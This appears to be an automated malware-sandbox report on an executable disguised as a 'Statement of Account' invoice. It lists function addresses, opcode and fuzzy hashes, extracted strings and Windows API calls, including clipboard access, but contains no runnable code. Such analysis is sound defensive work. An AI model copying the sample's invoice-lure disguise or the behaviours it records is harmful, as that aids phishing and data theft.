Opcode Fuzzy Hash: c268967c0f81a8ddf9d2605e7116ca9632d3e6f2e9cfe9a4e481ed5f6a88b362
Instruction Fuzzy Hash: 5B41FFB0C1071DCBDB24CFA9C884B9EBBB5FF89304F24806AD419AB255DB756946CF90

Function 0163D458 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0163D4E7

Memory Dump Source

Source File: 00000000.00000002.2017351385.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1283708858be48469b201920eaab177952a11d82ff6f5075dfbb2f8365f9f8e8
Instruction ID: 3e33217a3084e0c497418843462a99230b68e27b0833842338a69a6cd3a1c87a
Opcode Fuzzy Hash: 1283708858be48469b201920eaab177952a11d82ff6f5075dfbb2f8365f9f8e8
Instruction Fuzzy Hash: 9A3126B58002499FDB20CFA9D984ADEBFF4EF49320F14815AE954A7251C378A941CFA1

Function 0163D460 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0163D4E7

Memory Dump Source

Source File: 00000000.00000002.2017351385.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e4d5fa295d57f97378e2f8685bab2e20b798e75b07481abd193d00ec9ed98d40
Instruction ID: b9584ab7648419d8ee6f22a769e76c64b4eea9c1bea284ff55c23786bda82aa5
Opcode Fuzzy Hash: e4d5fa295d57f97378e2f8685bab2e20b798e75b07481abd193d00ec9ed98d40
Instruction Fuzzy Hash: 8121C4B59012499FDB10CF9AD984ADEBFF9FB48310F14841AE918A3350D378A944CFA5

Function 0163B050 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0163B0B6

Memory Dump Source

Source File: 00000000.00000002.2017351385.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c9a4fc970d9db436a43b8d7816f452822f8de744e9fecf277806b6eadf326574
Instruction ID: fd91e99c5e8d71b93c0dda04b9b3aca850c85f39736cc32b7178be92e1e5dfb5
Opcode Fuzzy Hash: c9a4fc970d9db436a43b8d7816f452822f8de744e9fecf277806b6eadf326574
Instruction Fuzzy Hash: 1911CDB5C002498BDB24DF9AD844A9EFBF4AB89314F14841AD529A7210C379A545CFA1

Function 015CD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2016234186.00000000015CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15cd000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d98a186d5d7b20b23ea32239b96d2c185bfa45eba1a8f578d7560c2dbdc99114
Instruction ID: 1ec41f37b77a1990d1e9a315d357a41671082697244ce130200f53d41e605dc9
Opcode Fuzzy Hash: d98a186d5d7b20b23ea32239b96d2c185bfa45eba1a8f578d7560c2dbdc99114
Instruction Fuzzy Hash: F921F171100204DFDB05DF98C9C0B6ABFB5FB88714F20857DDA098E256C37AE406C6E1

Function 015CD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2016234186.00000000015CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15cd000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1dae305e91cc633c4a22e1dbe7ecd3cc1b0460c439e5edb6e804cec72766fa9
Instruction ID: 6219c2830b98758fda56b7186a0fc5d14118875c912854783ee5872d7b81b301
Opcode Fuzzy Hash: b1dae305e91cc633c4a22e1dbe7ecd3cc1b0460c439e5edb6e804cec72766fa9
Instruction Fuzzy Hash: D721E071500240DFDB05DF98D9C0B2ABFB5FB98718F20857DE9098E256C33AD416CAE2

Function 015DD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2016267090.00000000015DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15dd000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 298985e4b69e0ef510d93368a8c3f43a288c707a2e447aa3d0fd0616e52e9817
Instruction ID: 241a84d5fb5eae767306f2fbbafe6543b8a04cc5b9ecc9e13141b7e49fb37162
Opcode Fuzzy Hash: 298985e4b69e0ef510d93368a8c3f43a288c707a2e447aa3d0fd0616e52e9817
Instruction Fuzzy Hash: B3210071604204DFCB25DF6CD980B26BFB5FB88314F20C969D90A4F296D33AD406CBA1

Function 015DD005 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2016267090.00000000015DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15dd000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcbb4407db537e072a131b90d0a7993b75b40d5ecd2861b3cf176692e8073150
Instruction ID: 25cf9fa6699f64721e1dc6f9b20ff7014d3c4a0b2a1b9fb4fb2c4a8f468daa7b
Opcode Fuzzy Hash: fcbb4407db537e072a131b90d0a7993b75b40d5ecd2861b3cf176692e8073150
Instruction Fuzzy Hash: BB2183755083849FCB13CF68D994715BF71FB86214F28C5DAD8498F2A7D33A9806CB62

Function 015CD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2016234186.00000000015CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15cd000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 81bad50d29463ba13cf21e6a8e204aa1bd0531c042e4f2523b6860d510844610
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: DD11CD76404280CFCB02CF54D9C4B1ABF71FB98614F24C6A9D9494B256C33AD45ACBA2

Function 015CD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2016234186.00000000015CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15cd000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 6ab952ccc636442c65e04d52a324e803330a1c82771b4ad062ea636bcb6326b4
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: E311CD72404240DFDB02CF84D9C4B5ABF71FB84224F24C6ADDA094A256C37AE45ACBA2

Non-executed Functions

Function 0163DB1C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2017351385.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 053366ba302171f8ab81e1924f549337106d800394413db72a967a3749c70b1b
Instruction ID: c1d87cc96b8b0ef8b5dae611889bb0d3b75228a2142c433764b2a4150da1cd4c
Opcode Fuzzy Hash: 053366ba302171f8ab81e1924f549337106d800394413db72a967a3749c70b1b
Instruction Fuzzy Hash: 38A17F32E002169FCF19DFB4D84459EBBB2FFC5300B1585AAE906AB265DB31E915CF80

Analysis Process: Statement of Account - USD 16,720.00.exePID: 1288, Parent PID: 4828COMMON

Execution Graph

Execution Coverage:	13.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	242
Total number of Limit Nodes:	23

Executed Functions

Function 067BA910 Relevance: 10.4, Strings: 8, Instructions: 391
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 067BAADC
$]q, xrefs: 067BAA90
$]q, xrefs: 067BAAE8
$]q, xrefs: 067BAA84
$]q, xrefs: 067BAA3D
$]q, xrefs: 067BAA31
$]q, xrefs: 067BAAB3
$]q, xrefs: 067BAABF

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 7ba502abe294b7c108dd16ad29d70447a3bd32feabec5c90ee45c72a072e94ca
Instruction ID: f4aaa136ef88b44755c939d113fae6ecb35649f0db185f8c15d199f98b64adf1
Opcode Fuzzy Hash: 7ba502abe294b7c108dd16ad29d70447a3bd32feabec5c90ee45c72a072e94ca
Instruction Fuzzy Hash: 84E18E30E102098FDF68EF68D994AAEB7B6FF85304F20862AD4059B355DB35DC46CB91

Function 067B2388 Relevance: 9.0, Strings: 6, Instructions: 1497COMMON

Download Yara Rule

Strings

$]q, xrefs: 067B37DC
$]q, xrefs: 067B37F4
$]q, xrefs: 067B3800
$]q, xrefs: 067B37A7
$]q, xrefs: 067B37B3
$]q, xrefs: 067B37D0

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 307121632af499e581bdb72fa5fc6b54950e4f40a8f786053338f9e7ffe7115a
Instruction ID: dd42b5836216375e0fb1b5b8b89a7e185eb3d5f51b91bdf789df27bd30d3c1c2
Opcode Fuzzy Hash: 307121632af499e581bdb72fa5fc6b54950e4f40a8f786053338f9e7ffe7115a
Instruction Fuzzy Hash: 4DD26930E10209CFDB64DF68C584BADB7B2FF89314F5485A9D419AB265EB34ED81CB80

Function 067B79C8 Relevance: 3.0, Strings: 2, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 067B7D11
$]q, xrefs: 067B7D05

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 95fb2baeabff23e722de1f4e844165355024c2aeba9ffc6ae547487a2266bd76
Instruction ID: e8b34a6d971183ccdc71df7fab17cb5bd00264bc1fa39cae4a60948c112c84cc
Opcode Fuzzy Hash: 95fb2baeabff23e722de1f4e844165355024c2aeba9ffc6ae547487a2266bd76
Instruction Fuzzy Hash: 63029B30B002058FDB68DF68D594BAEB7A6EFC4304F248529E409EB395DB35ED46CB81

Function 067B5930 Relevance: 2.9, Strings: 2, Instructions: 412
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Obq, xrefs: 067B5A5E
XPbq, xrefs: 067B5BE2

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: XPbq$\Obq
API String ID: 0-409418754
Opcode ID: 2176a62c9a7e5e39835a2f147264a1575b2e6d0d5bbf428a4b511fa0482501ec
Instruction ID: ea812cbd468d71f56fc698b588f9844394c3587e23bf415730e6c6320998f9d1
Opcode Fuzzy Hash: 2176a62c9a7e5e39835a2f147264a1575b2e6d0d5bbf428a4b511fa0482501ec
Instruction Fuzzy Hash: E1D1F331B101158FEF64DF68D4947AEBBE2FB89720F24956AE40ADB352CA31DC418B90

Function 067B51E8 Relevance: 1.8, Strings: 1, Instructions: 593COMMON

Download Yara Rule

Strings

$, xrefs: 067B5539

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 5f616dae3b85c9fabd9e15a9e7271af237245295c514117a23d84681988a2e46
Instruction ID: e28509ad2c5ee22d56f2dd7303c5f8a2a978a1efd92bcb27ea1b3c7f40cddc94
Opcode Fuzzy Hash: 5f616dae3b85c9fabd9e15a9e7271af237245295c514117a23d84681988a2e46
Instruction Fuzzy Hash: 6A22AE71E002198FEF64DFA4C5807EEBBB2EF85314F248469E449AB385DA75DC42CB91

Function 067B6238 Relevance: .8, Instructions: 825COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c0b645b2bd903d32ba5b7ea9fedd8847aee46d06db4ae036e2f84c6995f17e2
Instruction ID: c14d97f9ae7350e069bc40661cbe83e2479d5dbb9804bbe94045bfee7fc0e460
Opcode Fuzzy Hash: 6c0b645b2bd903d32ba5b7ea9fedd8847aee46d06db4ae036e2f84c6995f17e2
Instruction Fuzzy Hash: 0962AD34A002088FDB64DB68D594BEDB7F2EF88314F149929E506EB395DB35ED46CB80

Function 067BC1D8 Relevance: .6, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c45f815c47791b93cced3bb33b259369b3fcadceb57260f6ce9827693d551a9a
Instruction ID: e4ad3dafe577fb6f1556930b93bb438e0e5e41dfe69ce7d646294e782b192946
Opcode Fuzzy Hash: c45f815c47791b93cced3bb33b259369b3fcadceb57260f6ce9827693d551a9a
Instruction Fuzzy Hash: BA32BD34B102098FDB65DB68D984BEEBBB6EF88314F109525E409EB355DB34EC42CB91

Function 06756E41 Relevance: 6.1, APIs: 4, Instructions: 135
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06756ECE
GetCurrentThread.KERNEL32 ref: 06756F0B
GetCurrentProcess.KERNEL32 ref: 06756F48
GetCurrentThreadId.KERNEL32 ref: 06756FA1

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: d14cb0d4e2a06fdcf82a979d513bf34d67aa3460bb0da92626229dac1a874cff
Instruction ID: 5c04b182fd9b6e599550fb3cbfa4cb235e8f3db1de89cf61f271466b636c495b
Opcode Fuzzy Hash: d14cb0d4e2a06fdcf82a979d513bf34d67aa3460bb0da92626229dac1a874cff
Instruction Fuzzy Hash: DA5169B0D003498FDB54DFAAD948BAEBBF1FF49304F208469E409A72A0D7749944CF62

Function 06756E50 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06756ECE
GetCurrentThread.KERNEL32 ref: 06756F0B
GetCurrentProcess.KERNEL32 ref: 06756F48
GetCurrentThreadId.KERNEL32 ref: 06756FA1

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 5d0f1592e6cfb8638b5e4e198812838da29f6abc9ae2561ba8a183dfa6a66807
Instruction ID: 7346dbf40269ca03b2369585ee01fb05e81b376fc4f24258f540e049873b7477
Opcode Fuzzy Hash: 5d0f1592e6cfb8638b5e4e198812838da29f6abc9ae2561ba8a183dfa6a66807
Instruction Fuzzy Hash: 045158B0D003498FDB54DFAAD948BAEBBF1EF49304F208469E409A72A0D7749944CF65

Function 067B8D98 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 067B8E1A
$]q, xrefs: 067B8DDF
$]q, xrefs: 067B8E26
$]q, xrefs: 067B8DEB

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: d2f9bcda04f5887da4a615c7b2e9eec1523a8525eea561bbb6a5b3855479b09b
Instruction ID: 9491c0e00c36b38a05b25a02adbe37f943808c32b5334d80d83605ae80d1093d
Opcode Fuzzy Hash: d2f9bcda04f5887da4a615c7b2e9eec1523a8525eea561bbb6a5b3855479b09b
Instruction Fuzzy Hash: 40916030B0020A8FDB54DF65D954BAEB3F6BF89204F108566D809DB748EF309D46CB92

Function 067BCFA0 Relevance: 4.6, Strings: 3, Instructions: 804
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 067BD3AB
$]q, xrefs: 067BD39F
$]q, xrefs: 067BD397

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q
API String ID: 0-182748909
Opcode ID: d1117a4d67fc0d77642dce1f3c563dc857560666e15999387de95793c97d26b3
Instruction ID: 4b413d5dbe9dc23e9ce24e44e5d11a3cd116ed5ff488cf69185a9736fe28b854
Opcode Fuzzy Hash: d1117a4d67fc0d77642dce1f3c563dc857560666e15999387de95793c97d26b3
Instruction Fuzzy Hash: 06625F3070020A8FCB65EF68D690A9DB7E6FF85304F209A29D0099F759DB75ED46CB81

Function 067B47B0 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 067B47DB
XPbq, xrefs: 067B4901
\Obq, xrefs: 067B498B

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: fbq$XPbq$\Obq
API String ID: 0-4057264190
Opcode ID: 649e6d4c601336d8dd9ecf27421ad374bb2d0b92bcbfbf5073870699603e87c6
Instruction ID: 4cc5c6ed604200b000610c0cfd6536d1a6f3611e80ba7734d0da4995723c7a84
Opcode Fuzzy Hash: 649e6d4c601336d8dd9ecf27421ad374bb2d0b92bcbfbf5073870699603e87c6
Instruction Fuzzy Hash: 72617230F002099FEF549FA9C8557AEBBF6FB88700F208429E106AB399DB758D459F51

Function 067B8D89 Relevance: 2.7, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 067B8E1A
$]q, xrefs: 067B8DDF

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 1d11bf8f903d302c5e6984e7cdbc49bc841b821aefce46e8b4b7ad4a4de517a6
Instruction ID: a1a06c0d8ec74dfff6ad6fdf7f7f7c9576aea486b93be18f5f8662eef4e01bc7
Opcode Fuzzy Hash: 1d11bf8f903d302c5e6984e7cdbc49bc841b821aefce46e8b4b7ad4a4de517a6
Instruction Fuzzy Hash: 12515230B001059FDB55DB74D954BAEB3F6AFC9648F10846AD909EB758EE30EC06CB92

Function 067B47A0 Relevance: 2.6, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 067B47DB
XPbq, xrefs: 067B4901

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: fbq$XPbq
API String ID: 0-2292610095
Opcode ID: 95f060130537c215f12033379cc4fc406ebb8ae92bfe32c9d0118c2f7784574c
Instruction ID: b74cf9d2522a0b77ff1c35e39c9c319ed5fbee2b771f89b36eab45ac0b27a638
Opcode Fuzzy Hash: 95f060130537c215f12033379cc4fc406ebb8ae92bfe32c9d0118c2f7784574c
Instruction Fuzzy Hash: 26516231F002089FEB549FA5C8557AEBBF6FF89700F208529E105AB399DB759C01DB91

Function 067533E1 Relevance: 1.7, APIs: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0675356A

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: d58e33a284f8c0401b4707ed1a879aae29f3f398ec4e0503ca06c66226e3937b
Instruction ID: e7c0cfe3e63ab1cd4e5d708fe591893cc05710c40ef12a2fd9643e5f3233ec65
Opcode Fuzzy Hash: d58e33a284f8c0401b4707ed1a879aae29f3f398ec4e0503ca06c66226e3937b
Instruction Fuzzy Hash: E8512471C04249EFDF12CFA9C884AEDBFB2BF49314F1581AAE908AB221D7759845CF40

Function 00F0F733 Relevance: 1.6, APIs: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 00F0F7DF

Memory Dump Source

Source File: 00000001.00000002.4485627216.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f00000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 7874e304dfc6c9c76118c0c10fcfc05020e993066089a7ccb7e6c24bb95ee1d8
Instruction ID: 3d6e79580aedf93f343b8d7b7100ccae41eb59d4709e579d39d5fa0107ccd7e8
Opcode Fuzzy Hash: 7874e304dfc6c9c76118c0c10fcfc05020e993066089a7ccb7e6c24bb95ee1d8
Instruction Fuzzy Hash: A6413931D043958FCB24CFB9C84429ABFF5AF85310F188166D404A7691DB789C48DBE1

Function 0675344D Relevance: 1.6, APIs: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0675356A

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 0cd05af33e740afecde6d6f7b32ae1b1fca1af3995402ec6394ef62c1f6718f3
Instruction ID: 761764aee899e62e31a82c56fd6217b3a8db697ca16f4db365c28cfa137bd6b0
Opcode Fuzzy Hash: 0cd05af33e740afecde6d6f7b32ae1b1fca1af3995402ec6394ef62c1f6718f3
Instruction Fuzzy Hash: 9F51C4B1D00309DFDB15CFA9C884AEEBBF5BF48350F25816AE919AB210D7759885CF90

Function 06753458 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0675356A

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 5eb815a682686d8b53742bb9cccc9dd20ea2e07912839ab66a2e07a82235ae3e
Instruction ID: 28c6e2b4a4162ef14f91a17353ea98ca40ddc5416afd79d8a6dad12e6b99aa46
Opcode Fuzzy Hash: 5eb815a682686d8b53742bb9cccc9dd20ea2e07912839ab66a2e07a82235ae3e
Instruction Fuzzy Hash: 6E41B4B1D00309DFDB14CFAAC884ADEBBB5BF48354F25816AE819AB210D7759985CF90

Function 06756C94 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06757FE9

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 624c6202b3bdf8aef436ac7fc7c3eb1bc882d1b5439c28f065cc4b352a32be49
Instruction ID: 6dab9c44c703b322376f2ddbef1a7a0e8987fc82cd81f6532d0986543b895fe0
Opcode Fuzzy Hash: 624c6202b3bdf8aef436ac7fc7c3eb1bc882d1b5439c28f065cc4b352a32be49
Instruction Fuzzy Hash: D3415CB4900309CFDB54CF99C848AAABBF5FF88314F25C499D919AB321D375A841CFA0

Function 06758C6D Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 06758D00

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 9bc44acf7cd01c0ada71640a767754083550a5b373268bcb68640e52ee11b3c4
Instruction ID: 2fb0a5a4ab9abb2c9ae36d63d94667c0451890602008b87b806584c9aff295de
Opcode Fuzzy Hash: 9bc44acf7cd01c0ada71640a767754083550a5b373268bcb68640e52ee11b3c4
Instruction Fuzzy Hash: 873103B0D01359DFDB54CF99C984BDEBBF5AF48304F24805AE404AB290D7B86945CB95

Function 06758C78 Relevance: 1.6, APIs: 1, Instructions: 71comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 06758D00

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 61e31bf39750a47ee665f7904ffc11b08902c907822d775ebd776797ab0c09c1
Instruction ID: ecce22c7fae3450d01a4ee524f083bc920bd8155b2d6cf3a9dd2d838be3a19a8
Opcode Fuzzy Hash: 61e31bf39750a47ee665f7904ffc11b08902c907822d775ebd776797ab0c09c1
